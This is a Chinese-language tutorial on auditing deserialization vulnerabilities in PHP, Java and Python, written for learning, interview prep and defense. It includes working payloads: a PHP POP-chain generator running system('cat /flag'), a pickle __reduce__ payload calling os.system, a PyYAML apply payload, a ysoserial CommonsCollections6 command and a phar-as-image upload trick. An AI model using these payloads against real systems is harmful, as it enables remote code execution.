反序列化审计

先修知识

第一次读这篇,先把下面这些词混个脸熟。每个只用一行白话解释,后面正文会反复用到。

  • 对象(Object):代码里把「数据 + 操作数据的方法」打包在一起的东西。类比:一个员工工牌,上面既有姓名工号(数据),也印着”刷我开门”(方法)。
  • 类(Class):对象的模板/图纸。new 一个对象就是照图纸造一个实例。
  • 序列化(Serialize):把内存里的对象”拍平”成一串字节,方便存盘或网络传输。类比:把乐高城堡拆成零件、按清单编号装箱。
  • 反序列化(Deserialize):把那串字节还原成内存里的对象。类比:照清单把零件重新拼回城堡——如果清单被人掉包了,拼出来的就不是城堡。
  • 魔术方法(PHP):名字以 __ 开头的特殊方法,PHP 会在特定时机自动调用,不需要你手动喊它。比如 __destruct 在对象销毁时自动跑。
  • gadget(利用小工具):项目里某个类中恰好存在的一段”能做点危险事”的代码(比如调用了 system())。它本身不是漏洞,但可以被攻击者借来用。
  • gadget 链 / POP 链:把多个 gadget 像多米诺骨牌一样首尾接起来,从”反序列化自动触发的入口方法”一路传导到”危险函数”。
  • Source(源头):攻击者能控制的数据入口,比如 $_GET['x']、Cookie、上传文件。
  • Sink(危险点):真正干危险事的地方,比如 unserialize()、system()、file_put_contents()。
  • payload(载荷):攻击者精心构造的那串输入数据,目标是让程序按攻击者意图执行。
  • RCE(远程命令执行):让服务器执行攻击者指定的系统命令,是漏洞利用的最高目标。
  • JNDI:Java 的”电话簿查号台”——给它一个名字,它帮你去远程找对应的对象并加载回来,可被滥用来加载恶意类。
  • DNSLog:一种验证漏洞的带外技巧:让目标服务器去解析一个你监听的域名,你的 DNS 服务器收到请求就证明命令执行了。
  • ysoserial:Java 反序列化 payload 生成工具,内置了各种现成的 gadget 链,一行命令出 payload。
  • RASP:插在程序运行时的”贴身保镖”,在危险函数(如 Runtime.exec)真正执行前拦截检查。

一、跨语言通用原理:序列化/反序列化基础与漏洞根因

1.1 先搞懂:为什么要序列化?

是什么:程序运行时,对象活在内存里;但内存一关就没了,网络传输也只能传字节。所以需要一个办法把对象”拍平”成字节串(序列化),需要时再”还原”回来(反序列化)。

生活类比:搬家时你把书架拆成木板、按编号打包(序列化);到新家按编号装回去(反序列化)。漏洞的关键在于:装的时候你完全信任箱子里的编号清单,而这份清单可能被搬家公司掉包了。

各语言的”装箱格式”长这样(审计时用来快速识别数据类型):

语言序列化入口反序列化入口数据特征(看到它就认出来了)
PHPserialize()unserialize()O:4:"Test":1:{s:1:"a";s:1:"b";} 这种带类型标注的文本
JavaObjectOutputStream.writeObject()ObjectInputStream.readObject()原始字节以 AC ED 00 05 开头;Base64 编码后是 rO0AB 开头
Pythonpickle.dumps()pickle.loads()一串 opcode 指令流,其中 c、R 指令可触发任意函数调用
.NETBinaryFormatter.Serialize()BinaryFormatter.Deserialize()Base64 后 AAEAAAD///// 开头
Goencoding/gob 等gob.Decode()无已知通用 RCE 链(原因见第五节对比)

审计第一直觉:抓包时看到上面这些特征字符串,立刻警觉——目标在做反序列化,接下来就是确认”这串数据我能不能控制”。

1.2 漏洞根因(面试背答版)

反序列化漏洞的本质就一句话:「数据被当成代码/对象重建」。

  • 开发者为什么会写出这种漏洞?动机很朴素:图省事。“前端传给我一个用户偏好对象,我 unserialize 一下就还原了,比一个个字段解析 JSON 方便多了。” 他不知道(或忘了)的是:还原过程不是”安静地把字段填回去”,而是会自动调用类里定义的回调——PHP 会调魔术方法,Java 会调 readObject,Python pickle 会直接执行 __reduce__ 指定的函数。
  • 攻击者拿到这个入口后,只要项目依赖里存在某个类,它的回调里恰好做了危险操作(gadget),就能把多个 gadget 拼成一条链(POP/gadget chain),最终触发命令执行、任意写文件、SSRF。

所以反序列化漏洞 ≠ 单点漏洞,它是「入口 + gadget 链」的组合,成立需要三个前提:

  1. 存在攻击者可控的反序列化入口(如 unserialize($userInput));
  2. 项目或其依赖库中存在可用的 gadget 类(回调里做了危险操作);
  3. 没有做反序列化白名单过滤。

1.3 通用审计方法论(四步,各语言通用)

找入口 → 判可控 → 找 gadget → 链式验证
  1. 找入口(Sink 关键字搜索):全局搜各语言的反序列化函数(unserialize(、readObject(、pickle.loads(、yaml.load( 等)。
  2. 判可控(Source 追踪):参数从哪来?HTTP 参数、Cookie(Java 世界臭名昭著的 rememberMe)、上传文件、消息队列、Redis、RPC 参数都算。中间有过滤也别放弃——看看能不能绕过(base64 解码后再反序列化、字符串逃逸等)。
  3. 找 gadget:在项目依赖(pom.xml/composer.json/requirements.txt 拉下来的库)里搜危险回调的实现。
  4. 链式验证:本地搭同版本环境,复刻类定义生成 payload,打向入口,用 DNSLog 或 touch /tmp/xxx 这类无害命令确认真的执行了。

审计结论必须落到「入口可控 ✔ / gadget 存在 ✔ / 链可通 ✔」三条,缺任何一条只能报「潜在风险」,不能报"存在反序列化 RCE"。

二、PHP 反序列化

2.1 先铺垫:魔术方法是什么?为什么它成了漏洞温床?

是什么:PHP 魔术方法是名字以 __ 开头的方法,不需要任何人调用,PHP 引擎在特定时机自动执行。类比:酒店的”请勿打扰”牌子——你挂上它(定义了 __destruct),保洁(PHP 引擎)到点看到牌子就自己进来了,不用你打电话。

为什么会出事:开发者定义 __destruct 的动机通常很正当——“对象用完时自动关一下数据库连接、写个日志”。他没想到攻击者能通过 unserialize 伪造这个对象的全部属性:你以为你销毁的是”日志对象”,攻击者塞给你的其实是”删库对象”,属性全是他定的。

魔术方法速查表(必背):

魔术方法触发时机利用价值
__destruct()对象被销毁/脚本结束时POP 链最常见起点,常在里面写文件/关数据库
__wakeup()unserialize() 重建对象时次常见起点,可被 CVE-2016-7124 绕过(见 2.3)
__construct()反序列化时不触发(只在新 new 时跑)审计时注意区分,别把它当链头
__toString()对象被当字符串用(echo/字符串拼接/strlen/strcmp)链式跳板
__call()调用不存在或不可访问的方法时动态代理类常用,方法名和参数都可被控制
__callStatic()静态调用不存在的方法同上
__get()读取不存在/不可访问的属性跳板
__set()写入不存在的属性跳板
__invoke()对象被当函数调用 $obj()跳板
__sleep()serialize() 时触发(反序列化不触发)审计时排除

入口(Sink 搜索关键字):unserialize(、session_decode(、参数可达 phar:// 的文件函数、ThinkPHP 等框架封装的 cache 反序列化。

审计口诀:找 __destruct 和 __wakeup 当链头,__toString/__call/__get 当中转,危险函数当链尾。

2.2 POP 链构造与挖掘思路

是什么:POP(Property-Oriented Programming,面向属性编程)。反序列化时对象的所有属性都由攻击者控制——这就是它叫”面向属性”的原因。对象 A 的属性可以设成对象 B,B 的属性设成对象 C……像串珠子一样,把分散在不同类里的魔术方法串成一条从入口到危险函数的完整链路。

类比:公司报销流程漏洞。财务规定”走完 A→B→C 三个审批节点就打款”。每个节点本身都是合法员工,但你可以伪造单据,让 A 把单子转给”会签空白支票的 B”,B 再转给”不核对金额的 C”,最后钱打出去了。每个环节单看都正常,串起来就是事故。

挖掘步骤(顺序很重要,从尾巴往回挖):

  1. 定链尾(sink):在源码/依赖里搜危险函数——call_user_func、eval、system、exec、file_put_contents、include、preg_replace /e、ReflectionFunction。
  2. 回溯到魔术方法:哪些类的魔术方法(哪怕隔几层普通方法调用)最终能触达链尾?
  3. 定链头(source):找一个 __destruct/__wakeup,它的属性能指向第二步找到的类。
  4. 写利用类:在本地复刻这些类的最小定义(命名空间必须和目标完全一致),填好恶意属性,serialize() 生成 payload。

2.3 __wakeup 绕过(CVE-2016-7124)

背景:防御方知道 __wakeup 危险,于是在里面写防御代码(清空属性、die())。攻击者就要绕过它。

  • 原理:unserialize() 解析时,如果对象声明的属性数大于实际给出的属性数,PHP 处理流程出错,会跳过 __wakeup 的调用。
  • 影响版本:PHP 5 < 5.6.25、PHP 7 < 7.0.10。
  • 手法:序列化串 O:4:"Demo":1:{...} 中的 1 是属性数,改成 O:4:"Demo":2:{...}(调大即可,内容不用加)。
  • 审计要点:看到目标用 __wakeup 做防御(清属性、die),先查目标 PHP 版本,老版本直接绕过。

2.4 phar 反序列化

是什么:phar 是 PHP 的打包格式(类似 Java 的 jar)。它的元数据(meta-data)以序列化形式存储在文件里。关键在于:PHP 几乎所有接受路径参数的文件操作函数,遇到 phar:// 伪协议时都会去解析这个包——解析元数据时就会触发 unserialize。

为什么会出事:开发者写 file_exists($userPath) 时只想”检查一下文件在不在”,动机完全无害。他不知道这个函数会顺手解析 phar:// 路径并执行反序列化。

触发点(Sink):file_exists、file_get_contents、is_dir、is_file、copy、unlink、stat、exif_read_data、getimagesize 等几乎所有文件类函数。

利用条件(两条同时满足即高危):

  1. 能上传 phar 文件(phar 本质是带头的归档,可以伪装成图片:改后缀 .jpg + 文件开头插图片头字节,就能过大多数仅校验后缀/文件头的上传检查);
  2. 能控制某个文件函数的参数为 phar://path/x.jpg。

审计要点:上传功能 + 文件函数参数可控两条同时满足即高危。常见于 file_exists($userPath) 这种看起来人畜无害的代码。

2.5 session 反序列化

原理:PHP 存 session 时有三种序列化处理器,格式不同:

  • php:键名|序列化值(注意中间有竖线分隔)
  • php_serialize:a:1:{...}(纯序列化串)
  • php_binary:二进制格式

漏洞成因:写入和读取用了不同的处理器。典型场景:页面 A 配置用 php_serialize 存 session,页面 B 用默认的 php 读 session。攻击者在 A 写入 $_SESSION['x'] = '|O:8:"Evil":0:{}';B 用 php 处理器读时,把 | 当成”键名|值”的分隔符,于是 | 后面的 O:8:"Evil":0:{} 被当作序列化数据反序列化——注入成功。

审计要点:搜 ini_set('session.serialize_handler'...),对比 php.ini 配置与各页面实际行为是否一致;凡是发现不同页面/子系统 handler 配置不一样的,重点查。

2.6 字符串逃逸

适用场景:payload 会先经过滤/替换函数(如 str_replace)再进入 unserialize。开发者动机:“我把坏词换掉再反序列化,总安全了吧?“——替换改变了字符串长度,而序列化格式是严格按长度定位的,长度一变,解析就错位了。

类型原理构造思路
字符减少过滤把字符串变短,后面真实的属性内容被”吞进”前面字符串的值里重复注入被过滤的词,精确计算减少的字节数,把恶意属性顶进逃逸区
字符增多过滤把字符串变长,后续内容被挤出原本的闭合位置计算增多量,让闭合引号被顶走,恶意序列化串接管后续解析

审计要点:unserialize(str_replace(...)) 是经典考点。核对三件事:替换前后长度差是多少、攻击者能否重复注入被替换词来控制总差值、闭合结构能不能被精确推算出来。

2.7 案例:PHP POP 链(完整类代码 + 链分析)

下面是一个有漏洞的目标应用源码。先逐行读注释,再看后面的数据流分析。

<?php
// ============ 目标应用源码(漏洞代码) ============
class FileManager {
    public $filename = 'default.log';
    function __destruct() {                     // 链头候选:脚本结束时必触发
        file_put_contents($this->filename, "log done");  // 若属性被控就是任意写文件
    }
}
class Render {
    public $tpl;
    function __toString() {                     // 中转:对象被当字符串使用时自动触发
        return $this->tpl->render();            // 调用属性对象的 render() —— 属性可控,指向谁由攻击者定
    }
}
class Template {
    private $engine;
    function render() {
        return $this->engine->run();            // Engine 类没有 run() 方法 → 自动落入 __call
    }
}
class Engine {
    private $func;
    private $arg;
    function __call($name, $args) {             // 链尾:调用不存在的方法时被自动触发
        return call_user_func($this->func, $this->arg);  // ❌ 两个属性全可控 = 任意函数调用
    }
}
 
// 入口:❌ 用户可控数据直接反序列化,无任何白名单
$data = $_GET['data'];                          // Source:GET 参数,攻击者完全控制
$obj  = unserialize(base64_decode($data));      // Sink:base64 解码后直接反序列化
echo "Welcome " . $obj;                         // 关键一步:对象被拼进字符串 → 触发 __toString

数据流分析(①~⑤ 跟着走一遍):

注意:FileManager 在这条链里只是干扰项(伪装),真正的链头是 echo 处触发的 Render。

① 用户输入从哪进来:$_GET['data'] 进来,base64 解码后进入 unserialize,攻击者完全控制字节流。 ② 经过什么处理:unserialize 按字节流重建对象——重建出一个 Render 对象,且它的 $tpl 属性被设成 Template 实例(属性值全来自 payload)。 ③ 第一个自动触发点:echo "Welcome " . $obj 把对象当字符串拼接 → 自动调用 Render::__toString()。 ④ 链式传导:__toString 调 $this->tpl->render() → 进入 Template::render();render() 里调 $this->engine->run(),但 Engine 类没有 run 方法 → PHP 自动落入 Engine::__call()。 ⑤ 防线为什么失效:__call 执行 call_user_func($this->func, $this->arg),而 func、arg 都是反序列化时攻击者填的 system 和 cat /flag → 任意命令执行(RCE)。全程没有任何一道校验,因为每个类单看都在做”本职工作”。

利用代码(攻击者在本地复刻类定义、生成 payload):

<?php
// 只复刻链上需要的三个类,属性结构必须与目标一致(FileManager 不在链上,不用写)
class Render   { public $tpl; }
class Template { private $engine; }
class Engine   { private $func; private $arg; }
 
$e = new Engine();
// func/arg 是 private,用反射强行写入私有属性
$rp = new ReflectionProperty('Engine','func'); $rp->setAccessible(true); $rp->setValue($e,'system');
$rp = new ReflectionProperty('Engine','arg');  $rp->setAccessible(true); $rp->setValue($e,'cat /flag');
$t = new Template();
$rp = new ReflectionProperty('Template','engine'); $rp->setAccessible(true); $rp->setValue($t,$e);
$r = new Render(); $r->tpl = $t;                // 组装链:Render.tpl → Template.engine → Engine
 
echo base64_encode(serialize($r));              // 输出结果作为 ?data= 提交给目标

payload 逐段拆解(serialize($r) 的结果长这样,读懂每个字段你就真正懂了 PHP 序列化格式):

O:6:"Render":1:{...}
│  │       │
│  │       └─ 这个对象有 1 个属性
│  └─ 类名是 "Render",6 个字符
└─ O = 这是一个对象(array 是 a,string 是 s,int 是 i)

s:3:"tpl"; O:8:"Template":1:{...}
│            └─ tpl 属性的值:又是一个对象,类名 "Template"
└─ s:3:"tpl" = 属性名是字符串,长度 3,内容 "tpl"

s:19:"\x00Template\x00engine"; O:6:"Engine":2:{...}
│            └─ engine 属性的值:Engine 对象
└─ private 属性的序列化形式:\x00类名\x00属性名
   \x00Template\x00engine 总长度 19(两个 \x00 各占 1 字节)——
   这就是"私有属性带不可见字符前缀"的含义,手工拼 payload 时漏掉它就直接解析失败

Engine 内部:
s:11:"\x00Engine\x00func"; s:6:"system";     ← func = system(要执行的函数)
s:10:"\x00Engine\x00arg";  s:9:"cat /flag";  ← arg  = cat /flag(命令参数)

审计结论:入口 $_GET['data'] 可控 ✔;代码内存在 __toString → __call → call_user_func gadget ✔;链可通 ✔ → 反序列化 RCE,高危。

2.8 PHP 进阶注意点

  • 私有/保护属性在序列化串里带不可见前缀:protected 是 \x00*\x00,private 是 \x00类名\x00(上面的 payload 拆解已演示)。手工构造或改 payload 时这些字节必须原样保留,很多”payload 不生效”就是这里丢了字符。
  • 绕过 allowed_classes 白名单:PHP 8 之前部分场景可借助 SplStack 等内建类残留绕过,实战价值低,了解即可。

2.9 PHP 防御与修复

  • 首选:不反序列化不可信数据,改用 json_decode 等纯数据格式;
  • 白名单:unserialize($data, ['allowed_classes' => ['SafeDto']]);
  • 上传文件做内容校验,文件函数参数禁止用户控制协议头(防 phar);
  • 统一 session.serialize_handler 配置,避免处理器解析差异。

三、Java 反序列化

3.1 先铺垫:Java 反序列化为什么比 PHP 更”危险”?

是什么:Java 用 ObjectOutputStream.writeObject() 把对象写成字节流,用 ObjectInputStream.readObject() 还原。还原时,如果类自定义了 private void readObject(...) 方法,JVM 会自动调用它——这和 PHP 魔术方法是同一个思路,只是换了个名字。

为什么更危险:Java 项目的真实代码往往只引入几十个直接依赖,但每个依赖又拖来一串间接依赖,classpath 上动辄几百个 jar 包。每个 jar 包里每个实现了 Serializable 的类都是潜在 gadget。PHP 里找 gadget 要在项目代码里翻,Java 里 Apache CommonsCollections 这种国民级依赖直接给你备好了一整套——这就是 Java 反序列化漏洞常年霸榜的原因。

入口表(不止 readObject,面试高频追问的就是这些”非典型入口”):

入口说明
ObjectInputStream.readObject()最经典入口
readExternal()Externalizable 接口的反序列化回调
readResolve()反序列化后用来替换对象(单例模式常见),也可做跳板
ObjectInputStream.readUnshared()少见变体
框架封装XMLDecoder.readObject、Hessian SerializerFactory、Dubbo/RMI 远程调用参数、XStream.fromXML、Redis/JMS 消息消费端反序列化消息体
第三方封装fastjson parseObject、Jackson readValue、SnakeYAML load、Apache Commons SerializationUtils.deserialize

记住这几个容易被漏掉的来源:RMI/JNDI、Hessian、消息队列(JMS/ActiveMQ/RabbitMQ 的 ObjectMessage)、缓存(Redis/Ehcache 存对象)、框架自动绑定(fastjson/Jackson/YAML)。很多”审计没发现”的漏洞就是因为只搜了 readObject。

Sink 搜索关键字:readObject(、readExternal(、fromXML(、parseObject(、readValue(、Yaml().load(、SerializationUtils.deserialize(,以及 Hessian/RMI 服务暴露点。

gadget 搜索方向:项目依赖里 implements Serializable 且 readObject/transform/get 等方法中含 Runtime.exec、Method.invoke、ProcessBuilder、URLClassLoader、JNDI lookup 的类。工具:用 ysoserial 判定已知链、用 GadgetInspector 做污点式 gadget 挖掘。

3.2 CC 链原理(简述)

Apache CommonsCollections(简称 CC)链是 Java 反序列化漏洞的”范式教材”,搞懂它就懂了 Java 链的通用结构。它同样符合”链头 → 链身 → 链尾”三段式:

  1. 链尾(sink):InvokerTransformer.transform() 通过反射调用任意类的任意方法——给它 Runtime.class 和 "exec",就能拼出 Runtime.exec()。
  2. 链身:ChainedTransformer 把多个 Transformer 串成流水线,前一级的输出作为后一级的输入——这样可以把”拿到 Runtime 类”和”调用 exec”两步分开写再拼起来。
  3. 链头(trigger,即反序列化时最先被自动调用的回调):
    • CC1:AnnotationInvocationHandler.readObject → LazyMap.get 触发 transform。受 JDK 版本限制:JDK 8u71 之后该 handler 的反序列化逻辑改了,不再走到触发点,CC1 失效;
    • CC6:HashMap.readObject → hash() → TiedMapEntry.hashCode → getValue 触发 transform,与 JDK 版本无关,最通用,实战首选。
  4. ysoserial 把整条链塞进 HashMap/AnnotationInvocationHandler 这个”最外层可序列化的壳”里,序列化出来就是 payload。

审计含义(重要,省时间):你不需要自己造链。只需确认两件事:

  • (a)pom.xml/依赖树里有 CommonsCollections 的危险版本(3.2.1 及以下、4.0)且未打安全补丁;
  • (b)存在可控的 readObject 入口。

两条都满足,直接判可利用,用 ysoserial 出 payload 验证即可。

3.3 fastjson / Jackson / XStream / SnakeYAML 审计差异

这几个组件都不走原生 readObject 协议,但本质相同:数据驱动实例化任意类。开发者用它们的动机是”自动把 JSON/XML 绑成 Java 对象,省得手写解析”——图省事又把”数据”和”类实例化”混在了一起。

组件入口触发机制审计关注点
fastjsonJSON.parseObject()自动调用 setter/getter;@type 开启 autotype 时可指定任意类版本分界:1.2.24/1.2.47 等多次被绕过;看是否开 autotype、版本是否有已知绕过;gadget 常配 com.sun.rowset.JdbcRowSetImpl(走 JNDI 加载远程类)
JacksonObjectMapper.readValue()开启 enableDefaultTyping 或 @JsonTypeInfo 多态时,按类型信息实例化并调 setter搜 enableDefaultTyping/activateDefaultTyping,gadget 同样走 JNDI/类加载
XStreamxstream.fromXML()XML 标签直接映射类名,converter 链触发旧版未设白名单可 RCE;1.4.10+ 默认加黑名单 → 1.4.18+ 默认白名单,审计看版本与是否调了 setupDefaultSecurity
SnakeYAMLnew Yaml().load()!!com.xxx.Class 标签实例化任意类(构造参数可控)1.x 默认 Constructor 不安全;审计是否用 SafeConstructor / 2.0 起默认受限

共性审计法(一套流程打四个组件):找入口 → 看类型配置(autotype/DefaultTyping/白名单)→ 查依赖里有无 JNDI/命令执行类 gadget。

3.4 案例:Java readObject 入口审计

漏洞代码(逐行注释):

// ❌ 危险写法:HTTP 提交的序列化对象直接 readObject
@WebServlet("/api/import")                          // 这个类挂在 /api/import 路径上,处理 HTTP 请求
public class ImportServlet extends HttpServlet {
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        try {
            // ① Source:直接把 HTTP 请求体(攻击者完全控制)包成对象输入流
            ObjectInputStream ois = new ObjectInputStream(req.getInputStream());
            Object obj = ois.readObject();          // ② Sink:链头回调,无任何白名单/签名校验
            resp.getWriter().write("imported: " + obj.getClass().getName());  // 回显类名
        } catch (Exception e) { /* ... */ }         // ③ 注意:异常被吞掉也不影响——链在 readObject 内部已执行完
    }
}

同时 pom.xml 里依赖 commons-collections:commons-collections:3.2.1(未打 3.2.2 安全补丁)。

数据流分析:

① 攻击者向 /api/import POST 一段自己生成的序列化字节流; ② req.getInputStream() 原样把它交给 ObjectInputStream,中间零校验; ③ ois.readObject() 开始按字节流重建对象——读到 payload 里的 HashMap 壳时自动调它的 readObject(CC6 链头),沿 TiedMapEntry → ChainedTransformer → InvokerTransformer 一路传导; ④ 链尾 InvokerTransformer 反射调用 Runtime.exec("touch /tmp/pwn"); ⑤ 防线为什么失效:开发者以为”我只是读个对象”,实际 JVM 的反序列化协议强制自动回调链头,而 classpath 上的 CC 3.2.1 恰好提供了完整链身链尾——入口和 gadget 拼上了。

审计过程(对应四步法):

  1. 找入口:全局搜 readObject(,定位到 ImportServlet,参数来自 req.getInputStream(),无任何校验 → 完全可控 ✔;
  2. 判协议:接口接受原始字节流。用 Burp 提交以 AC ED 00 05 开头(或 Base64 后 rO0AB 开头)的数据 → 确认进入反序列化分支;
  3. 找 gadget:mvn dependency:tree 确认 commons-collections 3.2.1 在 classpath → 满足 CC 链条件 ✔;
  4. 链式验证:执行 java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwn' | base64 -w0 生成 payload,POST 提交后目标机出现 /tmp/pwn → 链可通 ✔。

审计结论:可控 readObject + 危险依赖 → 反序列化 RCE,Critical。

3.5 Java 进阶注意点

  • fastjson 历次黑名单绕过(Lcom.sun.rowset...; 前后缀、双写等)——审计以实际版本 + autotype 状态为准,不背绕过链,绕过手法更新太快;
  • 纯 JDK 无第三方依赖时的”原生链”极少且条件苛刻,实战仍以第三方依赖链为主。

3.6 Java 防御与修复

  • 首选:不反序列化不可信数据,改用 Jackson readValue 绑定到具体 DTO 等纯数据绑定方式;
  • 白名单:自定义 ObjectInputFilter;
  • JEP 290(JDK 9 引入,回移植到 8u121 / 7u131 / 6u141):用 -Djdk.serialFilter 配置类/深度/大小过滤;或用 SerialKiller、contrast-rO0 等过滤器库;
  • 升级依赖:commons-collections ≥ 3.2.2 / 4.1,fastjson/Jackson/XStream 升到安全版本并关闭 autotype/DefaultTyping;
  • 运行时防护:RASP(插桩 Runtime.exec/readObject 阻断或告警)、WAF 特征(rO0AB、AC ED、fastjson @type 黑名单)只能缓解不能根治。

四、Python 反序列化

4.1 Sink/成因:__reduce__ 协议

是什么:pickle 反序列化执行的不是”数据”,而是一台栈式虚拟机的 opcode 指令流。类比:别的语言反序列化像”照着装箱清单拼乐高”,pickle 像”播放一段录像,录像里每个动作都原样重演”——如果录像里有一帧是”执行 os.system('id')”,它就会原样执行。

为什么会出事:类可以定义 __reduce__ 方法,返回 (callable, args) 元组,告诉 pickle”重建我时请调用 callable(*args)”。开发者本意是自定义重建逻辑(比如重建时重新连数据库),但这个机制意味着 loads 时可以直接调用任意函数——攻击者只要把 callable 写成 os.system,游戏结束。

import pickle, os, base64
 
class Evil:
    def __reduce__(self):                      # ❌ 反序列化时 pickle 自动调用本方法
        return (os.system, ('id',))            #    返回值含义:重建时请执行 os.system('id')
 
payload = base64.b64encode(pickle.dumps(Evil()))
# 受害者侧执行 pickle.loads(base64.b64decode(payload)) → 'id' 命令直接执行

payload 逐段拆解:pickle.dumps(Evil()) 生成的是一串 opcode,核心两条:

cposix\nsystem\n        ← c 指令:载入模块.函数,这里是 os.system(Windows 上写 nt\system)
                          (Py3 的 protocol 2+ 里你可能看到 cos\nsystem 的等价形式)
(S'id'\n                ← S 指令:把字符串 'id' 压栈,作为参数
tR.                     ← t:打包成元组;R(REDUCE):弹出 callable 和参数并调用 → os.system('id')
                          . :指令流结束

变体与等价入口(审计搜索清单):

  • __reduce_ex__ 同样生效;Py2 的 cPickle 等价;
  • pickle 操作码层面(c、o、R 指令)也可以手工构造,绕过只检测 __reduce__ 字符串的简陋防御;
  • 其他危险 callable:eval、exec、os.popen、subprocess.Popen;
  • 同族危险函数:pickle.load、marshal.loads、dill.loads、jsonpickle.decode、shelve 模块(底层走 pickle);
  • ML 场景:torch.load / joblib.load 底层走 pickle,加载不可信模型文件 = RCE。这是近年 AI 供应链热点,防御上优先用 safetensors 这类无执行语义的格式。

PyYAML 分界(必背):yaml.load(data) 在 PyYAML < 5.1 默认 Loader 可构造任意 Python 对象(典型 payload:!!python/object/apply:os.system ['id']);≥5.1 默认换成 FullLoader,安全得多但仍非绝对安全;唯一安全写法是 yaml.safe_load(data) 或 yaml.load(data, Loader=yaml.SafeLoader)。

框架联动场景:

  • Django:SESSION_SERIALIZER 配成 PickleSerializer 且 session 存缓存/数据库时,能写 session 数据的人(比如拿到 Redis 写权限、或 SECRET_KEY 泄露后能伪造)直接 RCE;
  • Flask:默认 session 是客户端 Cookie(itsdangerous 签名),SECRET_KEY 泄露/弱口令可被 flask-unsign 爆破伪造;若 session 里塞了对象且后端用 pickle 系 serializer,就直接衔接反序列化 RCE。

4.2 审计点

  1. 搜 pickle.loads( / pickle.load( / cPickle / dill.loads / marshal.loads,看数据是否来自:HTTP 参数、Cookie、session 后端、缓存(Redis/Memcached)、消息队列、上传文件——任一外部可控即高危。
  2. 搜 yaml.load(,确认是否使用 SafeLoader/safe_load。
  3. 检查 Django SESSION_SERIALIZER、Flask session serializer 配置。
  4. 检查 ML 管线中 torch.load/joblib.load 的模型文件来源。

4.3 案例:Flask pickle 反序列化 → RCE

漏洞代码(逐行注释):

import pickle, base64
from flask import Flask, request
app = Flask(__name__)
 
@app.route('/hello', methods=['POST'])
def hello():
    data = request.form.get('data', '')            # ① Source:POST 表单字段,攻击者完全可控
    obj = pickle.loads(base64.b64decode(data))     # ② Sink:解码后直接 loads,无白名单无签名校验
    return f"welcome {obj.name}"                   # ③ 读取 name 属性 —— 但命令在上一行 loads 时就已经执行了

数据流分析:

① Source:POST 表单字段 data,攻击者完全可控; ② 传播:base64.b64decode 还原原始 pickle 字节流,全程无任何白名单校验; ③ Sink:pickle.loads 逐条执行流中 opcode,遇到 REDUCE 指令时调用攻击者 __reduce__ 指定的 os.system('id')(PoC 与 opcode 拆解见 4.1); ④ 防线为什么失效:开发者动机是”把用户资料对象方便地传过来”,但 pickle 协议从设计上就是”对象序列化协议”而非”数据格式”——它的输入必须绝对可信,根本没有”过滤一下就安全”的中间态; ⑤ 结果:命令以 Web 进程权限执行,可进一步写 webshell、反弹 shell。

审计结论:pickle.loads 的输入不可信 = 无条件 RCE,不需要任何 gadget 链配合(pickle 自己就是链),发现即最高危。

4.4 Python 防御与修复

  • 首选:不可信数据一律改用 json;
  • 业务必须 pickle 时,数据必须来自可信通道并加签名校验(HMAC),绝不直接反序列化网络输入;
  • 白名单:重写 pickle.Unpickler.find_class 做模块/类白名单;
  • yaml.load 一律改 yaml.safe_load;
  • ML 模型文件校验签名/来源,优先 safetensors 等无执行语义格式;
  • Django 避免使用 PickleSerializer,用默认的 JSON serializer。

五、跨语言对比表(面试高频)

语言反序列化 RCE 风险根因
PHP高魔术方法自动触发 + 属性全控,POP 链成熟
Java高readObject 反射重建 + 庞大依赖生态(gadget 遍地都是)
.NET高BinaryFormatter/SoapFormatter 回调 + TypeName 可控
Python高pickle opcode 直接执行任意 callable
Ruby高Marshal.load 触发 marshal_load/任意对象实例化
Go少见① 静态强类型,序列化需明确 struct schema,接口类型需 gob.Register 显式注册;② 无运行时动态类加载;③ encoding/gob 重建过程只填字段、不执行任意方法。攻击面缩为”已注册类型的字段污染”,难以形成通用 RCE 链

(Go/.NET/Ruby 不设正文小节,原因见上表:Go 无通用 RCE 链,面试只需掌握”为什么少见”;.NET/Ruby 同理仅作对比了解。)

六、工程管理层面防御(跨语言通用)

层面措施
根本原则永不反序列化不可信数据;改用 JSON 等纯数据格式
白名单PHP allowed_classes / Java ObjectInputFilter(JEP 290)/ Python 重写 Unpickler.find_class、YAML 用 safe_load
运行时防护RASP(插桩 Runtime.exec/readObject 阻断或告警)、WAF 特征(rO0AB、AC ED、fastjson @type 黑名单)只能缓解不能根治
工程管理依赖扫描(Trivy/Snyk)标记含已知 gadget 的库版本;反序列化入口纳入代码审计 checklist 强制评审

七、面试题眼/速答

题眼一句话答案展开两三句
反序列化漏洞的根本原因是什么?攻击者控制的数据被当作对象重建,重建过程自动触发语言层回调,配合依赖中的 gadget 链执行任意代码。PHP 触发魔术方法、Java 触发 readObject、Python 触发 __reduce__,机制不同但本质都是”数据被当成代码执行”。入口 + gadget 缺一不可,只有可控入口没有可用链时只能报潜在风险。
PHP 反序列化审计怎么找?搜 unserialize( 判参数可控,再搜魔术方法找 POP 链。链头找 __destruct/__wakeup,中转找 __toString/__call/__get,链尾落在 call_user_func/eval/文件函数。注意 __construct 反序列化时不触发,别当链头。
__wakeup 怎么绕过?CVE-2016-7124:把序列化串中声明的属性数改大即可跳过 __wakeup。影响 PHP 5 < 5.6.25、PHP 7 < 7.0.10。审计时看到目标在 __wakeup 里做防御(清属性、die),先查 PHP 版本,老版本直接绕过。
phar 反序列化原理?phar 元数据以序列化形式存储,文件函数解析 phar:// 路径时触发 unserialize。file_exists/file_get_contents/getimagesize 等几乎所有文件函数都能触发。利用需两条同时满足:能上传 phar 文件(可伪装成图片)+ 文件函数参数可控。
session 反序列化成因?写入与读取使用不同的 session.serialize_handler,`` 分隔符解析差异导致注入。
Java 反序列化审计重点?搜 readObject/readExternal/fromXML/parseObject 入口判可控,查依赖有无危险版本 gadget。入口别漏 RMI/JNDI、Hessian、JMS 消息、Redis 缓存、fastjson/Jackson 自动绑定。gadget 用 mvn dependency:tree 查 CC/fastjson 等危险版本,ysoserial 出 payload 验证。
CC 链一句话原理?InvokerTransformer 反射调任意方法做链尾,ChainedTransformer 串联做链身,HashMap/AnnotationInvocationHandler 的 readObject 做链头。CC1 走 AnnotationInvocationHandler,JDK 8u71 后失效;CC6 走 HashMap.readObject → TiedMapEntry,与 JDK 无关、最通用。审计不用自己造链,确认版本 + 入口即可。
fastjson 漏洞关键开关?@type autotype;不开 autotype 无 RCE。审计看两点:实际版本(1.2.24/1.2.47 等多次被绕过)和 autotype 状态。gadget 常配 JdbcRowSetImpl 走 JNDI 加载远程恶意类。
